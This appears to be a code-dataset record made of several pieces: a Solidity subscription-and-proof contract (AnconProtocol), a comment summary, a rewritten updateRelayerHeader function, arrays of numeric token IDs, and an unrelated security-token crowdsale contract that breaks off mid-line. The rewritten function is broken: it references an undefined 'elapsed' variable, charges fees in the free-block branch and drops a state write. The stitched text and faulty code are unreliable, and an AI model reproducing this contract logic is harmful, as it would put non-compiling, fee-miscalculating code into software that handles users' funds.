// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "../ics23/ics23.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract AnconProtocol is ICS23 { struct SubscriptionTier { address token; uint256 amount; uint256 amountStaked; uint256 includedBlocks; bytes32 id; uint256 incentiveBlocksMonthly; uint256 incentivePercentageMonthly; uint256 includedBlocksStarted; uint256 setupFee; } address public owner; address public relayer; IERC20 public stablecoin; uint256 chainId = 0; mapping(bytes => bytes) public accountProofs; //did user-assigned proof key mapping(address => bytes) public accountByAddrProofs; //proof key-assigned eth address mapping(bytes => bool) public proofs; //if proof key was submitted to the blockchain mapping(bytes32 => address) public whitelistedDagGraph; mapping(bytes32 => SubscriptionTier) public tiers; mapping(address => SubscriptionTier) public dagGraphSubscriptions; mapping(address => uint256) public totalHeaderUpdatesByDagGraph; mapping(address => mapping(address => uint256)) public totalSubmittedByDagGraphUser; uint256 public seq; mapping(address => uint256) public nonce; mapping(bytes32 => bytes) public latestRootHashTable; mapping(bytes32 => mapping(uint256 => bytes)) public relayerHashTable; uint256 public INCLUDED_BLOCKS_EPOCH = 200000; // 200 000 chain blocks event Withdrawn(address indexed paymentAddress, uint256 amount); event ServiceFeePaid( address indexed from, bytes32 indexed tier, bytes32 indexed moniker, address token, uint256 fee ); event HeaderUpdated(bytes32 indexed moniker); event ProofPacketSubmitted( bytes indexed key, bytes packet, bytes32 moniker ); event TierAdded(bytes32 indexed id); event TierUpdated( bytes32 indexed id, address token, uint256 fee, uint256 staked, uint256 includedBlocks ); event AccountRegistered( bool enrolledStatus, bytes key, bytes value, bytes32 moniker ); constructor( address tokenAddress, uint256 network, uint256 starterFee, uint256 startupFee ) public { owner = msg.sender; stablecoin = IERC20(tokenAddress); chainId = network; // add tiers // crear un solo tier `default` Ancon token, starterFee 0.50, blocks, fee y staked en 0 addTier(keccak256("starter"), tokenAddress, starterFee, 0, 100, 0); addTier(keccak256("startup"), tokenAddress, startupFee, 0, 500, 0); addTier(keccak256("pro"), tokenAddress, 0, 0, 1000, 150); /* setTierSettings( keccak256("pro"), tokenAddress, 500000000, 1000 ether, 1000 ); */ addTier(keccak256("defi"), tokenAddress, 0, 0, 10000, 1500); addTier(keccak256("luxury"), tokenAddress, 0, 0, 100000, 9000); } // getContractIdentifier is used to identify a contract protocol deployed in a specific chain function getContractIdentifier() public view returns (bytes32) { return keccak256(abi.encodePacked(chainId, address(this))); } // verifyContractIdentifier verifies a nonce is from a specific chain function verifyContractIdentifier( uint256 usernonce, address sender, bytes32 hash ) public view returns (bool) { return keccak256(abi.encodePacked(chainId, address(this))) == hash && nonce[sender] == usernonce; } function getNonce() public view returns (uint256) { return nonce[msg.sender]; } // registerDagGraphTier function registerDagGraphTier( bytes32 moniker, address dagAddress, bytes32 tier ) public payable { require(whitelistedDagGraph[moniker] == address(0), "moniker exists"); require(tier == tiers[tier].id, "missing tier"); if(tiers[tier].setupFee > 0){ IERC20 token = IERC20(tiers[tier].token); require(token.balanceOf(address(msg.sender)) > tiers[tier].setupFee, "no enough balance"); require( token.transferFrom( msg.sender, address(this), tiers[tier].setupFee ), "transfer failed for recipient" ); } whitelistedDagGraph[moniker] = dagAddress; dagGraphSubscriptions[dagAddress] = tiers[tier]; } // updateRelayerHeader updates offchain dag graphs signed by dag graph key pair function updateRelayerHeader( bytes32 moniker, bytes memory rootHash, uint256 height ) public payable { require(msg.sender == whitelistedDagGraph[moniker], "invalid user"); SubscriptionTier memory t = dagGraphSubscriptions[msg.sender]; IERC20 token = IERC20(tiers[t.id].token); require(token.balanceOf(address(msg.sender)) > 0, "no enough balance"); if (t.includedBlocks > 0) { t.includedBlocks = t.includedBlocks - 1; } else { // tier has no more free blocks for this epoch, charge protocol fee require( token.transferFrom( msg.sender, address(this), tiers[t.id].amount ), "transfer failed for recipient" ); } // reset tier includede blocks every elapsed epoch uint256 elapsed = block.number - t.includedBlocksStarted; if (elapsed > INCLUDED_BLOCKS_EPOCH) { // must always read from latest tier settings t.includedBlocks = tiers[t.id].includedBlocks; t.includedBlocksStarted = block.number; } // set hash relayerHashTable[moniker][height] = rootHash; latestRootHashTable[moniker] = rootHash; emit ServiceFeePaid( msg.sender, moniker, t.id, tiers[t.id].token, tiers[t.id].amount ); seq = seq + 1; totalHeaderUpdatesByDagGraph[msg.sender] = totalHeaderUpdatesByDagGraph[msg.sender] + 1; emit HeaderUpdated(moniker); } // setPaymentToken sets token used for protocol fees function setPaymentToken(address tokenAddress) public { require(owner == msg.sender); stablecoin = IERC20(tokenAddress); } // addTier function addTier( bytes32 id, address tokenAddress, uint256 amount, uint256 amountStaked, uint256 includedBlocks, uint256 setupFee ) public { require(owner == msg.sender, "invalid owner"); require(tiers[id].id != id, "tier already in use"); tiers[id] = SubscriptionTier({ token: tokenAddress, amount: amount, amountStaked: amountStaked, includedBlocks: includedBlocks, id: id, incentiveBlocksMonthly: 0, incentivePercentageMonthly: 0, includedBlocksStarted: block.number, setupFee: setupFee }); emit TierAdded(id); } // setTierSettings function setTierSettings( bytes32 id, address tokenAddress, uint256 amount, uint256 amountStaked, uint256 includedBlocks, uint256 setupFee ) public { require(owner == msg.sender, "invalid owner"); require(tiers[id].id == id, "missing tier"); tiers[id].token = tokenAddress; tiers[id].amount = amount; tiers[id].amountStaked = amountStaked; tiers[id].includedBlocks = includedBlocks; tiers[id].setupFee = setupFee; // incentiveBlocksMonthly: 0, // incentivePercentageMonthly: 0 emit TierUpdated( id, tokenAddress, amount, amountStaked, includedBlocks ); } // withdraws gas token, must be admin function withdraw(address payable payee) public { require(owner == msg.sender); uint256 b = address(this).balance; (bool sent, bytes memory data) = payee.call{value: b}(""); } // withdraws protocol fee token, must be admin function withdrawToken(address payable payee, address erc20token) public { require(owner == msg.sender); uint256 balance = IERC20(erc20token).balanceOf(address(this)); // Transfer tokens to pay service fee require(IERC20(erc20token).transfer(payee, balance), "transfer failed"); emit Withdrawn(payee, balance); } function getProtocolHeader(bytes32 moniker) public view returns (bytes memory) { return latestRootHashTable[moniker]; } function getProof(bytes memory did) public view returns (bytes memory) { return accountProofs[did]; } function hasProof(bytes memory key) public view returns (bool) { return proofs[key]; } // enrollL2Account registers offchain did user onchain using ICS23 proofs, multi tenant using dag graph moniker function enrollL2Account( bytes32 moniker, bytes memory key, bytes memory did, Ics23Helper.ExistenceProof memory proof ) public returns (bool) { require(keccak256(proof.key) == keccak256(key), "invalid key"); require(verifyProof(moniker, proof), "invalid proof"); require( keccak256(key) != keccak256(accountProofs[did]), "user already registered" ); totalSubmittedByDagGraphUser[whitelistedDagGraph[moniker]][msg.sender] = totalSubmittedByDagGraphUser[whitelistedDagGraph[moniker]][ msg.sender ] + 1; accountProofs[(did)] = key; accountByAddrProofs[msg.sender] = key; emit AccountRegistered(true, key, did, moniker); return true; } // submitPacketWithProof registers packet onchain using ICS23 proofs, multi tenant using dag graph moniker function submitPacketWithProof( bytes32 moniker, address sender, Ics23Helper.ExistenceProof memory userProof, bytes memory key, bytes memory packet, Ics23Helper.ExistenceProof memory proof ) external returns (bool) { // 1. Verify require(proofs[key] == false, "proof has been submitted (found key)"); require(keccak256(proof.key) == keccak256(key), "invalid key"); require( keccak256(accountByAddrProofs[sender]) == keccak256(userProof.key), "invalid user key" ); require(verifyProof(moniker, userProof), "invalid user proof"); require(verifyProof(moniker, proof)); proofs[key] = true; totalSubmittedByDagGraphUser[whitelistedDagGraph[moniker]][sender] = totalSubmittedByDagGraphUser[whitelistedDagGraph[moniker]][ sender ] + 1; nonce[sender] = nonce[sender] + 1; // 2. Submit event emit ProofPacketSubmitted(key, packet, moniker); return true; } // verifies ICS23 proofs, multi tenant using dag graph moniker function verifyProof( bytes32 moniker, Ics23Helper.ExistenceProof memory exProof ) internal view returns (bool) { // Verify membership verify( exProof, getIavlSpec(), latestRootHashTable[moniker], exProof.key, exProof.value ); return true; } // verifies ICS23 proofs with key and value, multi tenant using dag graph moniker function verifyProofWithKV( bytes32 moniker, bytes memory key, bytes memory value, Ics23Helper.ExistenceProof memory exProof ) external view returns (bool) { // Verify membership verify( exProof, getIavlSpec(), latestRootHashTable[moniker], key, value ); return true; } // calculates root hash function queryRootCalculation(Ics23Helper.ExistenceProof memory proof) internal pure returns (bytes memory) { return bytes(calculate(proof)); } }
updateRelayerHeader updates offchain dag graphs signed by dag graph key pair tier has no more free blocks for this epoch, charge protocol fee must always read from latest tier settings
function updateRelayerHeader( bytes32 moniker, bytes memory rootHash, uint256 height ) public payable { require(msg.sender == whitelistedDagGraph[moniker], "invalid user"); SubscriptionTier memory t = dagGraphSubscriptions[msg.sender]; IERC20 token = IERC20(tiers[t.id].token); require(token.balanceOf(address(msg.sender)) > 0, "no enough balance"); if (t.includedBlocks > 0) { t.includedBlocks = t.includedBlocks - 1; require( token.transferFrom( msg.sender, address(this), tiers[t.id].amount ), "transfer failed for recipient" ); } if (elapsed > INCLUDED_BLOCKS_EPOCH) { t.includedBlocks = tiers[t.id].includedBlocks; t.includedBlocksStarted = block.number; } latestRootHashTable[moniker] = rootHash; emit ServiceFeePaid( msg.sender, moniker, t.id, tiers[t.id].token, tiers[t.id].amount ); seq = seq + 1; totalHeaderUpdatesByDagGraph[msg.sender] = totalHeaderUpdatesByDagGraph[msg.sender] + 1; emit HeaderUpdated(moniker); }
5,446,918
[ 1, 2725, 1971, 1773, 1864, 4533, 3397, 5639, 22940, 19422, 6726, 635, 22940, 2667, 498, 3082, 17742, 711, 1158, 1898, 4843, 4398, 364, 333, 7632, 16, 13765, 1771, 14036, 1297, 3712, 855, 628, 4891, 17742, 1947, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 1971, 1773, 1864, 12, 203, 3639, 1731, 1578, 6921, 1766, 264, 16, 203, 3639, 1731, 3778, 1365, 2310, 16, 203, 3639, 2254, 5034, 2072, 203, 565, 262, 1071, 8843, 429, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 26944, 40, 346, 4137, 63, 2586, 1766, 264, 6487, 315, 5387, 729, 8863, 203, 203, 3639, 12132, 15671, 3778, 268, 273, 22940, 4137, 15440, 63, 3576, 18, 15330, 15533, 203, 3639, 467, 654, 39, 3462, 1147, 273, 467, 654, 39, 3462, 12, 9096, 414, 63, 88, 18, 350, 8009, 2316, 1769, 203, 3639, 2583, 12, 2316, 18, 12296, 951, 12, 2867, 12, 3576, 18, 15330, 3719, 405, 374, 16, 315, 2135, 7304, 11013, 8863, 203, 203, 3639, 309, 261, 88, 18, 20405, 6450, 405, 374, 13, 288, 203, 5411, 268, 18, 20405, 6450, 273, 268, 18, 20405, 6450, 300, 404, 31, 203, 5411, 2583, 12, 203, 7734, 1147, 18, 13866, 1265, 12, 203, 10792, 1234, 18, 15330, 16, 203, 10792, 1758, 12, 2211, 3631, 203, 10792, 11374, 414, 63, 88, 18, 350, 8009, 8949, 203, 7734, 262, 16, 203, 7734, 315, 13866, 2535, 364, 8027, 6, 203, 5411, 11272, 203, 3639, 289, 203, 3639, 309, 261, 26201, 405, 2120, 11686, 7660, 67, 11403, 55, 67, 41, 30375, 13, 288, 203, 5411, 268, 18, 20405, 6450, 273, 11374, 414, 63, 88, 18, 350, 8009, 20405, 6450, 31, 203, 5411, 268, 18, 20405, 6450, 9217, 273, 1203, 18, 2696, 31, 203, 3639, 289, 203, 3639, 4891, 2375, 2310, 1388, 63, 2586, 1766, 264, 65, 2 ]
pragma solidity ^0.4.24; /** * @title Utility contract to allow pausing and unpausing of certain functions */ contract Pausable { event Pause(uint256 _timestammp); event Unpause(uint256 _timestamp); bool public paused = false; /** * @notice Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @notice Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @notice called by the owner to pause, triggers stopped state */ function _pause() internal { require(!paused); paused = true; emit Pause(now); } /** * @notice called by the owner to unpause, returns to normal state */ function _unpause() internal { require(paused); paused = false; emit Unpause(now); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** * @title Interface for the ST20 token standard */ contract IST20 is StandardToken, DetailedERC20 { // off-chain hash string public tokenDetails; //transfer, transferFrom must respect use respect the result of verifyTransfer function verifyTransfer(address _from, address _to, uint256 _amount) public returns (bool success); /** * @notice mints new tokens and assigns them to the target _investor. * Can only be called by the STO attached to the token (Or by the ST owner if there&#39;s no STO attached yet) */ function mint(address _investor, uint256 _amount) public returns (bool success); /** * @notice Burn function used to burn the securityToken * @param _value No. of token that get burned */ function burn(uint256 _value) public; event Minted(address indexed to, uint256 amount); event Burnt(address indexed _burner, uint256 _value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Interface for all security tokens */ contract ISecurityToken is IST20, Ownable { uint8 public constant PERMISSIONMANAGER_KEY = 1; uint8 public constant TRANSFERMANAGER_KEY = 2; uint8 public constant STO_KEY = 3; uint8 public constant CHECKPOINT_KEY = 4; uint256 public granularity; // Value of current checkpoint uint256 public currentCheckpointId; // Total number of non-zero token holders uint256 public investorCount; // List of token holders address[] public investors; // Permissions this to a Permission module, which has a key of 1 // If no Permission return false - note that IModule withPerm will allow ST owner all permissions anyway // this allows individual modules to override this logic if needed (to not allow ST owner all permissions) function checkPermission(address _delegate, address _module, bytes32 _perm) public view returns(bool); /** * @notice returns module list for a module type * @param _moduleType is which type of module we are trying to remove * @param _moduleIndex is the index of the module within the chosen type */ function getModule(uint8 _moduleType, uint _moduleIndex) public view returns (bytes32, address); /** * @notice returns module list for a module name - will return first match * @param _moduleType is which type of module we are trying to remove * @param _name is the name of the module within the chosen type */ function getModuleByName(uint8 _moduleType, bytes32 _name) public view returns (bytes32, address); /** * @notice Queries totalSupply as of a defined checkpoint * @param _checkpointId Checkpoint ID to query as of */ function totalSupplyAt(uint256 _checkpointId) public view returns(uint256); /** * @notice Queries balances as of a defined checkpoint * @param _investor Investor to query balance for * @param _checkpointId Checkpoint ID to query as of */ function balanceOfAt(address _investor, uint256 _checkpointId) public view returns(uint256); /** * @notice Creates a checkpoint that can be used to query historical balances / totalSuppy */ function createCheckpoint() public returns(uint256); /** * @notice gets length of investors array * NB - this length may differ from investorCount if list has not been pruned of zero balance investors * @return length */ function getInvestorsLength() public view returns(uint256); } /** * @title Interface that any module factory contract should implement */ contract IModuleFactory is Ownable { ERC20 public polyToken; uint256 public setupCost; uint256 public usageCost; uint256 public monthlySubscriptionCost; event LogChangeFactorySetupFee(uint256 _oldSetupcost, uint256 _newSetupCost, address _moduleFactory); event LogChangeFactoryUsageFee(uint256 _oldUsageCost, uint256 _newUsageCost, address _moduleFactory); event LogChangeFactorySubscriptionFee(uint256 _oldSubscriptionCost, uint256 _newMonthlySubscriptionCost, address _moduleFactory); event LogGenerateModuleFromFactory(address _module, bytes32 indexed _moduleName, address indexed _moduleFactory, address _creator, uint256 _timestamp); /** * @notice Constructor * @param _polyAddress Address of the polytoken */ constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost) public { polyToken = ERC20(_polyAddress); setupCost = _setupCost; usageCost = _usageCost; monthlySubscriptionCost = _subscriptionCost; } //Should create an instance of the Module, or throw function deploy(bytes _data) external returns(address); /** * @notice Type of the Module factory */ function getType() public view returns(uint8); /** * @notice Get the name of the Module */ function getName() public view returns(bytes32); /** * @notice Get the description of the Module */ function getDescription() public view returns(string); /** * @notice Get the title of the Module */ function getTitle() public view returns(string); /** * @notice Get the Instructions that helped to used the module */ function getInstructions() public view returns (string); /** * @notice Get the tags related to the module factory */ function getTags() public view returns (bytes32[]); //Pull function sig from _data function getSig(bytes _data) internal pure returns (bytes4 sig) { uint len = _data.length < 4 ? _data.length : 4; for (uint i = 0; i < len; i++) { sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (len - 1 - i)))); } } /** * @notice used to change the fee of the setup cost * @param _newSetupCost new setup cost */ function changeFactorySetupFee(uint256 _newSetupCost) public onlyOwner { emit LogChangeFactorySetupFee(setupCost, _newSetupCost, address(this)); setupCost = _newSetupCost; } /** * @notice used to change the fee of the usage cost * @param _newUsageCost new usage cost */ function changeFactoryUsageFee(uint256 _newUsageCost) public onlyOwner { emit LogChangeFactoryUsageFee(usageCost, _newUsageCost, address(this)); usageCost = _newUsageCost; } /** * @notice used to change the fee of the subscription cost * @param _newSubscriptionCost new subscription cost */ function changeFactorySubscriptionFee(uint256 _newSubscriptionCost) public onlyOwner { emit LogChangeFactorySubscriptionFee(monthlySubscriptionCost, _newSubscriptionCost, address(this)); monthlySubscriptionCost = _newSubscriptionCost; } } /** * @title Interface that any module contract should implement */ contract IModule { address public factory; address public securityToken; bytes32 public constant FEE_ADMIN = "FEE_ADMIN"; ERC20 public polyToken; /** * @notice Constructor * @param _securityToken Address of the security token * @param _polyAddress Address of the polytoken */ constructor (address _securityToken, address _polyAddress) public { securityToken = _securityToken; factory = msg.sender; polyToken = ERC20(_polyAddress); } /** * @notice This function returns the signature of configure function */ function getInitFunction() public pure returns (bytes4); //Allows owner, factory or permissioned delegate modifier withPerm(bytes32 _perm) { bool isOwner = msg.sender == ISecurityToken(securityToken).owner(); bool isFactory = msg.sender == factory; require(isOwner||isFactory||ISecurityToken(securityToken).checkPermission(msg.sender, address(this), _perm), "Permission check failed"); _; } modifier onlyOwner { require(msg.sender == ISecurityToken(securityToken).owner(), "Sender is not owner"); _; } modifier onlyFactory { require(msg.sender == factory, "Sender is not factory"); _; } modifier onlyFactoryOwner { require(msg.sender == IModuleFactory(factory).owner(), "Sender is not factory owner"); _; } /** * @notice Return the permissions flag that are associated with Module */ function getPermissions() public view returns(bytes32[]); /** * @notice used to withdraw the fee by the factory owner */ function takeFee(uint256 _amount) public withPerm(FEE_ADMIN) returns(bool) { require(polyToken.transferFrom(address(this), IModuleFactory(factory).owner(), _amount), "Unable to take fee"); return true; } } /** * @title Interface to be implemented by all STO modules */ contract ISTO is IModule, Pausable { using SafeMath for uint256; enum FundraiseType { ETH, POLY } FundraiseType public fundraiseType; // Start time of the STO uint256 public startTime; // End time of the STO uint256 public endTime; /** * @notice use to verify the investment, whether the investor provide the allowance to the STO or not. * @param _beneficiary Ethereum address of the beneficiary, who wants to buy the st-20 * @param _fundsAmount Amount invested by the beneficiary */ function verifyInvestment(address _beneficiary, uint256 _fundsAmount) public view returns(bool) { return polyToken.allowance(_beneficiary, address(this)) >= _fundsAmount; } /** * @notice Return ETH raised by the STO */ function getRaisedEther() public view returns (uint256); /** * @notice Return POLY raised by the STO */ function getRaisedPOLY() public view returns (uint256); /** * @notice Return the total no. of investors */ function getNumberInvestors() public view returns (uint256); /** * @notice pause (overridden function) */ function pause() public onlyOwner { require(now < endTime); super._pause(); } /** * @notice unpause (overridden function) */ function unpause(uint256 _newEndDate) public onlyOwner { require(_newEndDate >= endTime); super._unpause(); endTime = _newEndDate; } /** * @notice Reclaim ERC20Basic compatible tokens * @param _tokenContract The address of the token contract */ function reclaimERC20(address _tokenContract) external onlyOwner { require(_tokenContract != address(0)); ERC20Basic token = ERC20Basic(_tokenContract); uint256 balance = token.balanceOf(address(this)); require(token.transfer(msg.sender, balance)); } } /** * @title Helps contracts guard agains reentrancy attacks. * @author Remco Bloemen <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="7604131b15193644">[email&#160;protected]</a>π.com> * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private reentrancyLock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!reentrancyLock); reentrancyLock = true; _; reentrancyLock = false; } } /** * @title STO module for standard capped crowdsale */ contract CappedSTO is ISTO, ReentrancyGuard { using SafeMath for uint256; // Address where funds are collected and tokens are issued to address public wallet; // How many token units a buyer gets per wei / base unit of POLY uint256 public rate; // Amount of funds raised uint256 public fundsRaised; uint256 public investorCount; // Amount of tokens sold uint256 public tokensSold; //How many tokens this STO will be allowed to sell to investors uint256 public cap; mapping (address => uint256) public investors; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor (address _securityToken, address _polyAddress) public IModule(_securityToken, _polyAddress) { } ////////////////////////////////// /** * @notice fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @notice Function used to intialize the contract variables * @param _startTime Unix timestamp at which offering get started * @param _endTime Unix timestamp at which offering get ended * @param _cap Maximum No. of tokens for sale * @param _rate Token units a buyer gets per wei / base unit of POLY * @param _fundRaiseType Type of currency used to collect the funds * @param _fundsReceiver Ethereum account address to hold the funds */ function configure( uint256 _startTime, uint256 _endTime, uint256 _cap, uint256 _rate, uint8 _fundRaiseType, address _fundsReceiver ) public onlyFactory { require(_rate > 0, "Rate of token should be greater than 0"); require(_fundsReceiver != address(0), "Zero address is not permitted"); require(_startTime >= now && _endTime > _startTime, "Date parameters are not valid"); require(_cap > 0, "Cap should be greater than 0"); startTime = _startTime; endTime = _endTime; cap = _cap; rate = _rate; wallet = _fundsReceiver; _check(_fundRaiseType); } /** * @notice This function returns the signature of configure function */ function getInitFunction() public pure returns (bytes4) { return bytes4(keccak256("configure(uint256,uint256,uint256,uint256,uint8,address)")); } /** * @notice low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable nonReentrant { require(!paused); require(fundraiseType == FundraiseType.ETH, "ETH should be the mode of investment"); uint256 weiAmount = msg.value; _processTx(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } /** * @notice low level token purchase * @param _investedPOLY Amount of POLY invested */ function buyTokensWithPoly(uint256 _investedPOLY) public nonReentrant{ require(!paused); require(fundraiseType == 